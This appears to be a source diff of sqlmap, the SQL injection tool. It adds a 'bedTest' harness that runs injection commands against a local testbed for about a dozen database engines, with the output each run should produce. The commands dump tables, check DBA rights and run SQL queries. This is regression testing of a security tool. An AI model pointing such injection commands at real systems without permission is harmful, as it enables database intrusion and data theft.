dataToStdout("%s---\n" % output, coloring=False)
|
||||
retVal = False
|
||||
|
||||
count += 1
|
||||
@@ -140,6 +149,107 @@ def vulnTest():
|
||||
|
||||
return retVal
|
||||
|
||||
def bedTest():
|
||||
"""
|
||||
Runs the testing against 'testbed'
|
||||
"""
|
||||
|
||||
TESTS = (
|
||||
# MaxDB
|
||||
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: DBADMIN", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'SAP MaxDB'", "the back-end DBMS is SAP MaxDB", "current user is DBA: True", ": 'foobar'")),
|
||||
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: DBADMIN", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is SAP MaxDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Kernel____7.9.10___Build_003-123-265-343", "current database (equivalent to owner on SAP MaxDB): 'SYS'", "current user: 'DBADMIN'", "[1 column]", "| SURNAME | VARCHAR |")),
|
||||
|
||||
# Informix
|
||||
("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("retrieved: 47", "IBM Informix Dynamic Server Version 14.10.FC2DE", "Database: testdb", "Table: users", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Informix'", "the back-end DBMS is Informix", "current user is DBA: True", ": 'foobar'")),
|
||||
("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("IBM Informix Dynamic Server Version 14.10.FC2DE", "current database: 'testdb'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")),
|
||||
|
||||
# Altibase
|
||||
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Altibase'", "the back-end DBMS is Altibase", "current user is DBA: True", ": 'foobar'")),
|
||||
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Altibase", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-unknown-linux-gnu", "current database (equivalent to owner on Altibase): 'SYS'", "current user: 'SYS'", "[1 column]", "| SURNAME | VARCHAR |")),
|
||||
|
||||
# CockroachDB
|
||||
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")),
|
||||
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: PostgreSQL AND error-based", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")),
|
||||
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-unknown-linux-gnu", "current database (equivalent to schema on PostgreSQL): 'public'", "current user: 'root'", "[1 column]", "| surname | varchar |")),
|
||||
|
||||
# CrateDB
|
||||
("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("4.0.10", "Database: doc", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'CrateDB'", "the back-end DBMS is CrateDB", "current user is DBA: True", ": 'foobar'")),
|
||||
("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("4.0.10", "current database (equivalent to schema on CrateDB): 'doc'", "current user: 'crate'", "[1 column]", "| surname |")),
|
||||
|
||||
# Drizzle
|
||||
("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("7.1.36-stable", "Drizzle fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
||||
("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("7.1.36-stable", "Drizzle fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||
("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "7.1.36-stable", "current database: 'testdb'", "current user: 'root'", "[1 column]", "| surname | VARCHAR |")),
|
||||
|
||||
# Firebird
|
||||
("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump --banner --sql-query=\"SELECT 'foobar'\"", ("banner: '2.5", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "possible DBMS: 'Firebird'", "the back-end DBMS is Firebird", "current user is DBA: True", ": 'foobar'")),
|
||||
("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --is-dba --dump --banner --sql-query=\"SELECT 'foobar'\"", ("banner: '2.5", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Firebird", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||
("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --search -C surname --answers='dump=n'", ("banner: '2.5", "current user: 'SYSDBA'", "[1 column]", "| SURNAME | VARCHAR |")),
|
||||
|
||||
# H2
|
||||
("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("1.4.192", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'H2'", "the back-end DBMS is H2", "current user is DBA: True", ": 'foobar'")),
|
||||
("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("1.4.192", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is H2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||
("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: Generic inline queries", "Title: Generic UNION query (NULL) - 3 columns", "1.4.192", "current database (equivalent to schema on H2): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")),
|
||||
|
||||
# HSQLDB
|
||||
("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("2.3.4", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'HSQLDB'", "the back-end DBMS is HSQLDB", "current user is DBA: True", ": 'foobar'")),
|
||||
("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("2.3.4", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is HSQLDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||
("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: HSQLDB > 2.0 AND time-based blind (heavy query)", "Title: Generic UNION query (NULL) - 3 columns", "2.3.4", "current database (equivalent to schema on HSQLDB): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")),
|
||||
|
||||
# IBM DB2
|
||||
("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'IBM DB2'", "the back-end DBMS is IBM DB2", "current user is DBA: True", ": 'foobar'")),
|
||||
("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is IBM DB2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||
("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("banner: 'DB2 v", "current database (equivalent to owner on IBM DB2): 'DB2INST1'", "current user: 'DB2INST1'", "[1 column]", "| SURNAME | VARCHAR(1000) |")),
|
||||
|
||||
# MariaDB
|
||||
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
||||
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: MySQL >= 5.0 AND error-based", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
||||
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.0 AND error-based", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "10.4.12-MariaDB-1:10.4.12+maria~bionic", "current database: 'testdb'", "current user: 'root@%'", "[1 column]", "| surname | varchar(1000) |")),
|
||||
|
||||
# MySQL
|
||||
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
||||
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: MySQL >= 5.0 AND error-based", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
||||
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.1 AND error-based", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "8.0.19", "current database: 'testdb'", "current user: 'root@%'", "[1 column]", "| surname | varchar(1000) |")),
|
||||
|
||||
# PostgreSQL
|
||||
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: False", ": 'foobar'")),
|
||||
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: False", ": 'foobar'")),
|
||||
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-pc-linux-gnu", "current database (equivalent to schema on PostgreSQL): 'public'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")),
|
||||
)
|
||||
|
||||
retVal = True
|
||||
count = 0
|
||||
|
||||
for options, checks in TESTS:
|
||||
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
|
||||
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
||||
|
||||
cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options)
|
||||
output = shellExec(cmd)
|
||||
|
||||
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks):
|
||||
for check in checks:
|
||||
if check not in output:
|
||||
print(cmd, check)
|
||||
dataToStdout("---\n\n$ %s\n" % cmd)
|
||||
dataToStdout("%s---\n" % output, coloring=False)
|
||||
retVal = False
|
||||
|
||||
count += 1
|
||||
|
||||
clearConsoleLine()
|
||||
if retVal:
|
||||
logger.info("bed test final result: PASSED")
|
||||
else:
|
||||
logger.error("best test final result: FAILED")
|
||||
|
||||
return retVal
|
||||
|
||||
def fuzzTest():
|
||||
count = 0
|
||||
address, port = "127.0.0.10", random.randint(1025, 65535)
|
||||
@@ -191,7 +301,7 @@ def fuzzTest():
|
||||
|
||||
if "Traceback" in output:
|
||||
dataToStdout("---\n\n$ %s\n" % cmd)
|
||||
dataToStdout("%s---\n" % clearColors(output))
|
||||
dataToStdout("%s---\n" % output, coloring=False)
|
||||
|
||||
handle, config = tempfile.mkstemp(prefix="sqlmapcrash", suffix=".conf")
|
||||
os.close(handle)
|
||||
@@ -201,44 +311,12 @@ def fuzzTest():
|
||||
|
||||
count += 1
|
||||
|
||||
def dirtyPatchRandom():
|
||||
"""
|
||||
Unifying random generated data across different Python versions
|
||||
"""
|
||||
|
||||
def _lcg():
|
||||
global _rand
|
||||
a = 1140671485
|
||||
c = 128201163
|
||||
m = 2 ** 24
|
||||
_rand = (a * _rand + c) % m
|
||||
return _rand
|
||||
|
||||
def _randint(a, b):
|
||||
_ = a + (_lcg() % (b - a + 1))
|
||||
return _
|
||||
|
||||
def _choice(seq):
|
||||
return seq[_randint(0, len(seq) - 1)]
|
||||
|
||||
def _sample(population, k):
|
||||
return [_choice(population) for _ in xrange(k)]
|
||||
|
||||
def _seed(seed):
|
||||
global _rand
|
||||
_rand = seed
|
||||
|
||||
random.choice = _choice
|
||||
random.randint = _randint
|
||||
random.sample = _sample
|
||||
random.seed = _seed
|
||||
|
||||
def smokeTest():
|
||||
"""
|
||||
Runs the basic smoke testing of a program
|
||||
"""
|
||||
|
||||
dirtyPatchRandom()
|
||||
unisonRandom()
|
||||
|
||||
content = open(paths.ERRORS_XML, "r").read()
|
||||
for regex in re.findall(r'<error regexp="(.+?)"/>', content):
|
||||
@@ -253,7 +331,7 @@ def smokeTest():
|
||||
count, length = 0, 0
|
||||
|
||||
for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
|
||||
if any(_ in root for _ in ("thirdparty", "extra")):
|
||||
if any(_ in root for _ in ("thirdparty", "extra", "interbase")):
|
||||
continue
|
||||
|
||||
for filename in files:
|
||||
@@ -261,7 +339,7 @@ def smokeTest():
|
||||
length += 1
|
||||
|
||||
for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
|
||||
if any(_ in root for _ in ("thirdparty", "extra")):
|
||||
if any(_ in root for _ in ("thirdparty", "extra", "interbase")):
|
||||
continue
|
||||
|
||||
for filename in files:
|
||||
|
||||
@@ -21,6 +21,7 @@ from lib.core.datatype import AttribDict
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.exception import SqlmapBaseException
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from lib.core.exception import SqlmapSkipTargetException
|
||||
from lib.core.exception import SqlmapThreadException
|
||||
from lib.core.exception import SqlmapUserQuitException
|
||||
from lib.core.exception import SqlmapValueException
|
||||
@@ -101,7 +102,7 @@ def exceptionHandledFunction(threadFunction, silent=False):
|
||||
except Exception as ex:
|
||||
from lib.core.common import getSafeExString
|
||||
|
||||
if not silent and kb.get("threadContinue") and not isinstance(ex, SqlmapUserQuitException):
|
||||
if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, (SqlmapUserQuitException, SqlmapSkipTargetException)):
|
||||
errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex))
|
||||
logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg))
|
||||
|
||||
@@ -175,7 +176,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
|
||||
while alive:
|
||||
alive = False
|
||||
for thread in threads:
|
||||
if thread.isAlive():
|
||||
if thread.is_alive():
|
||||
alive = True
|
||||
time.sleep(0.1)
|
||||
|
||||
|
||||
@@ -21,10 +21,15 @@ class Unescaper(AttribDict):
|
||||
identifiedDbms = Backend.getIdentifiedDbms()
|
||||
|
||||
if dbms is not None:
|
||||
return self[dbms](expression, quote=quote)
|
||||
elif identifiedDbms is not None:
|
||||
return self[identifiedDbms](expression, quote=quote)
|
||||
retVal = self[dbms](expression, quote=quote)
|
||||
elif identifiedDbms is not None and identifiedDbms in self:
|
||||
retVal = self[identifiedDbms](expression, quote=quote)
|
||||
else:
|
||||
return expression
|
||||
retVal = expression
|
||||
|
||||
# e.g. inference comparison for '
|
||||
retVal = retVal.replace("'''", "''''")
|
||||
|
||||
return retVal
|
||||
|
||||
unescaper = Unescaper()
|
||||
|
||||
@@ -83,6 +83,7 @@ from lib.core.exception import SqlmapSyntaxException
|
||||
from lib.core.option import _createHomeDirectories
|
||||
from lib.core.settings import BASIC_HELP_ITEMS
|
||||
from lib.core.settings import DUMMY_URL
|
||||
from lib.core.settings import IGNORED_OPTIONS
|
||||
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import MAX_HELP_OPTION_LENGTH
|
||||
@@ -266,6 +267,9 @@ def cmdLineParser(argv=None):
|
||||
request.add_argument("--csrf-method", dest="csrfMethod",
|
||||
help="HTTP method to use during anti-CSRF token page visit")
|
||||
|
||||
request.add_argument("--csrf-retries", dest="csrfRetries", type=int,
|
||||
help="Retries for anti-CSRF token retrieval (default %d)" % defaults.csrfRetries)
|
||||
|
||||
request.add_argument("--force-ssl", dest="forceSSL", action="store_true",
|
||||
help="Force usage of SSL/HTTPS")
|
||||
|
||||
@@ -615,6 +619,12 @@ def cmdLineParser(argv=None):
|
||||
general.add_argument("--answers", dest="answers",
|
||||
help="Set predefined answers (e.g. \"quit=N,follow=N\")")
|
||||
|
||||
general.add_argument("--base64", dest="base64Parameter",
|
||||
help="Parameter(s) containing Base64 encoded data")
|
||||
|
||||
general.add_argument("--base64-safe", dest="base64Safe", action="store_true",
|
||||
help="Use URL and filename safe Base64 alphabet")
|
||||
|
||||
general.add_argument("--batch", dest="batch", action="store_true",
|
||||
help="Never ask for user input, use the default behavior")
|
||||
|
||||
@@ -682,7 +692,7 @@ def cmdLineParser(argv=None):
|
||||
help="Save options to a configuration INI file")
|
||||
|
||||
general.add_argument("--scope", dest="scope",
|
||||
help="Regexp to filter targets from provided proxy log")
|
||||
help="Regexp for filtering targets")
|
||||
|
||||
general.add_argument("--skip-waf", dest="skipWaf", action="store_true",
|
||||
help="Skip heuristic detection of WAF/IPS protection")
|
||||
@@ -745,9 +755,6 @@ def cmdLineParser(argv=None):
|
||||
help="Simple wizard interface for beginner users")
|
||||
|
||||
# Hidden and/or experimental options
|
||||
parser.add_argument("--base64", dest="base64Parameter",
|
||||
help=SUPPRESS) # "Parameter(s) containing Base64 encoded values"
|
||||
|
||||
parser.add_argument("--crack", dest="hashFile",
|
||||
help=SUPPRESS) # "Load and crack hashes from a file (standalone)"
|
||||
|
||||
@@ -760,6 +767,9 @@ def cmdLineParser(argv=None):
|
||||
parser.add_argument("--debug", dest="debug", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
parser.add_argument("--disable-multi", dest="disableMulti", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
parser.add_argument("--disable-precon", dest="disablePrecon", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
@@ -793,6 +803,9 @@ def cmdLineParser(argv=None):
|
||||
parser.add_argument("--vuln-test", dest="vulnTest", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
parser.add_argument("--bed-test", dest="bedTest", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
parser.add_argument("--fuzz-test", dest="fuzzTest", action="store_true",
|
||||
help=SUPPRESS)
|
||||
|
||||
@@ -850,7 +863,7 @@ def cmdLineParser(argv=None):
|
||||
_ = []
|
||||
advancedHelp = True
|
||||
extraHeaders = []
|
||||
tamperIndex = None
|
||||
auxIndexes = {}
|
||||
|
||||
# Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
|
||||
for arg in argv:
|
||||
@@ -909,18 +922,25 @@ def cmdLineParser(argv=None):
|
||||
except ValueError as ex:
|
||||
raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % getSafeExString(ex))
|
||||
|
||||
longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help()))
|
||||
longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help()))
|
||||
|
||||
for i in xrange(len(argv)):
|
||||
longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help()))
|
||||
longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help()))
|
||||
# Reference: https://en.wiktionary.org/wiki/-
|
||||
argv[i] = re.sub(u"\A(\u2010|\u2013|\u2212|\u2014|\u4e00|\u1680|\uFE63|\uFF0D)+", lambda match: '-' * len(match.group(0)), argv[i])
|
||||
|
||||
# Reference: https://unicode-table.com/en/sets/quotation-marks/
|
||||
argv[i] = argv[i].strip(u"\u00AB\u2039\u00BB\u203A\u201E\u201C\u201F\u201D\u2019\u0022\u275D\u275E\u276E\u276F\u2E42\u301D\u301E\u301F\uFF02\u201A\u2018\u201B\u275B\u275C")
|
||||
|
||||
if argv[i] == "-hh":
|
||||
argv[i] = "-h"
|
||||
elif i == 1 and re.search(r"\A(http|www\.|\w[\w.-]+\.\w{2,})", argv[i]) is not None:
|
||||
argv[i] = "--url=%s" % argv[i]
|
||||
elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
|
||||
dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i])
|
||||
dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is illegal (%s)\n" % argv[i])
|
||||
raise SystemExit
|
||||
elif len(argv[i]) > 1 and u"\uff0c" in argv[i].split('=', 1)[-1]:
|
||||
dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is, well, illegal (%s)\n" % argv[i])
|
||||
dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is illegal (%s)\n" % argv[i])
|
||||
raise SystemExit
|
||||
elif re.search(r"\A-\w=.+", argv[i]):
|
||||
dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
|
||||
@@ -928,19 +948,29 @@ def cmdLineParser(argv=None):
|
||||
elif re.search(r"\A-\w{3,}", argv[i]):
|
||||
if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches):
|
||||
argv[i] = "-%s" % argv[i]
|
||||
elif argv[i] in IGNORED_OPTIONS:
|
||||
argv[i] = ""
|
||||
elif argv[i] in DEPRECATED_OPTIONS:
|
||||
argv[i] = ""
|
||||
elif argv[i].startswith("--tamper"):
|
||||
if tamperIndex is None:
|
||||
tamperIndex = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
|
||||
elif any(argv[i].startswith(_) for _ in ("--tamper",)):
|
||||
key = re.search(r"\-\-(\w+)", argv[i]).group(1)
|
||||
index = auxIndexes.get(key, None)
|
||||
if index is None:
|
||||
index = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
|
||||
auxIndexes[key] = index
|
||||
else:
|
||||
argv[tamperIndex] = "%s,%s" % (argv[tamperIndex], argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
|
||||
delimiter = ','
|
||||
argv[index] = "%s%s%s" % (argv[index], delimiter, argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
|
||||
argv[i] = ""
|
||||
elif argv[i] == "-H":
|
||||
if i + 1 < len(argv):
|
||||
